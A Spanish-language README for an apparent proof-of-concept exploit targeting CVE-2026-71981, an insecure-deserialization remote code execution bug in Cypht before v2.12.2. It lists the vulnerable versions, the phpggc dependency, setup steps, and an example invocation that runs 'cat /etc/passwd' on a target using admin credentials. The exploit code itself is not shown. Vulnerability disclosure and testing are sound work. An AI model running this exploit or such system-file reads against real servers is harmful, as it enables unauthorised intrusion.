
Prueba de concepto del exploit para CVE-2026-71981, una RCE por deserialización insegura en Cypht. Ejecuta comandos e imprime la salida mediante la respuesta de cierre de sesión. Requiere phpggc para la generación del payload.
Este es un PoC para CVE-2026-71981, una RCE por deserialización insegura. El resultado del comando ejecutado se imprime en la respuesta de la solicitud de cierre de sesión después de las etiquetas </body></html>. Use --print-all para imprimir también la respuesta completa.
Versiones vulnerables: < v2.12.2
Este script requiere tener instalado https://github.com/ambionics/phpggc para generar las cargas útiles de unserialize().
Configuración y ejemplo:
python3 -m venv .venv
source ./.venv/bin/activate
python3 -m pip install -r requirements.txt
python3 ./poc.py --ip 127.0.0.1 --username admin --password admin --command "cat /etc/passwd"
python3 ./poc.py --help